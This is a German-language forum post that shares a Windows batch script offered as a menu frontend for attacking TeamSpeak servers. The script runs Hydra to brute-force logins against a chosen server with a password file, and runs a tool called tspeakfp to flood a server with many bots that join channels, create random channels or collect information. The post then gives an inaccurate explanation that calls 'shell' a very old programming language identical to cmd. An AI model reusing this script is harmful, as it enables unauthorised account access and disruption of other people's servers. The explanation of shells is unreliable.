hier ist ein sourcecode für ein shell GUI;
Code:@echo off :starte cls echo ============ echo Shell GUI for TeamSpeak echo Created by Err0r67o3 echo. echo http://www.geekmeisters.com/ echo http://r0w.exofire.net/ echo ============ echo. echo. echo Type "hy" for Hydra, or "fp" for TSpeakFP, or "end" to end the GUI echo. set choice= set /p choice= if %choice%==hy goto hydra if %choice%==fp goto tspeakfp1 if %choice%==end goto ende goto starte :hydra echo. echo. echo Server-IP: set action1= set /p action1= echo Server-Port: set action2= set /p action2= echo Loginname: set action3= set /p action3= echo Passfile: set action4= set /p action4= echo Tasks (Default 16): set action5= set /p action5= cd C:\Programme\Hydra hydra -l %action3% -P %action4% -s %action2% -t %action5% -V %action1% teamspeak goto starte :tspeakfp1 cls echo ============ echo Shell GUI for TeamSpeak echo Created by Err0r67o3 echo. echo http://www.geekmeisters.com/ echo http://r0w.exofire.net/ echo ============ echo. echo. echo Type: echo 1 for Bot join default echo 2 for Bot join Channel echo 3 Bot create random Channel echo 4 Bot get Informations echo. set bot= set /p bot= if %bot%==1 goto def if %bot%==2 goto chann if %bot%==3 goto rand if %bot%==4 goto info goto tspeakfp1 :def echo. echo Join Default; echo. echo Server-IP: set IP= set /p IP= echo Server-Port: set PORT= set /p PORT= echo Nickname: set NICK= set /p NICK= echo ServerPW: set SERVERpw= set /p SERVERpw= echo OS: set OS= set /p OS= echo How Much: set MASSE= set /p MASSE= cd C:\Programme\Hydra tspeakfp -p %PORT% -n %NICK% -w %SERVERpw% -o %OS% -t 0 -T 0 -m %MASSE% -b 0 -k 1 %IP% goto starte :chann echo. echo Join Channel; echo. echo Server-IP: set IP= set /p IP= echo Server-Port: set PORT= set /p PORT= echo Nickname: set NICK= set /p NICK= echo ServerPW: set SERVERpw= set /p SERVERpw= echo Channel: set CHANNEL= set /p CHANNEL= echo OS: set OS= set /p OS= echo How Much: set MASSE= set /p MASSE= cd C:\Programme\Hydra tspeakfp -p %PORT% -n %NICK% -w %SERVERpw% -o %OS% -c %CHANNEL% -t 0 -T 0 -m %MASSE% -b 0 -k 1 %IP% goto starte :rand echo. echo Create Random Channel; echo. echo Server-IP: set IP= set /p IP= echo Server-Port: set PORT= set /p PORT= echo Nickname: set NICK= set /p NICK= echo ServerPW: set SERVERpw= set /p SERVERpw= echo OS: set OS= set /p OS= echo How Much: set MASSE= set /p MASSE= cd C:\Programme\Hydra tspeakfp -p %PORT% -n %NICK% -w %SERVERpw% -o %OS% -t 0 -T 0 -m %MASSE% -b 0 -k 1 -f 1 9 %IP% goto starte :info echo. echo Get Informations; echo. echo Server-IP: set IP= set /p IP= echo Server-Port: set PORT= set /p PORT= echo Nickname: set NICK= set /p NICK= echo ServerPW: set SERVERpw= set /p SERVERpw= echo OS: set OS= set /p OS= echo How Much: set MASSE= set /p MASSE= cd C:\Programme\Hydra tspeakfp -p %PORT% -n %NICK% -w %SERVERpw% -o %OS% -i -t 0 -T 0 -m %MASSE% -b 0 -k 1 -f 1 9%IP% goto starte :ende pause > nul end
was ist shell??;
shell ist eine sehr alte programmiersorache, die ohne grafische benutzeroberflächen arbeitet...
shell ist eigentlich nur auf die eingabe und spätere ausgabe von daten spezialisiert
--> cmd
shell arbeitet noch mit simplen GOTO befehlen, shell zum jetzt auszuführenden abschnitt im code lenken.
so könnte man auch ":info" mit ":rand" vertauschen (mit den dazugehörigen befehlen), ohne das dies eine auswirkung auf den code hätte
wie erstelle ich eine shell-anwendung??;
1. code im editor schreiben
2. datei speichern als:
datei_name.bat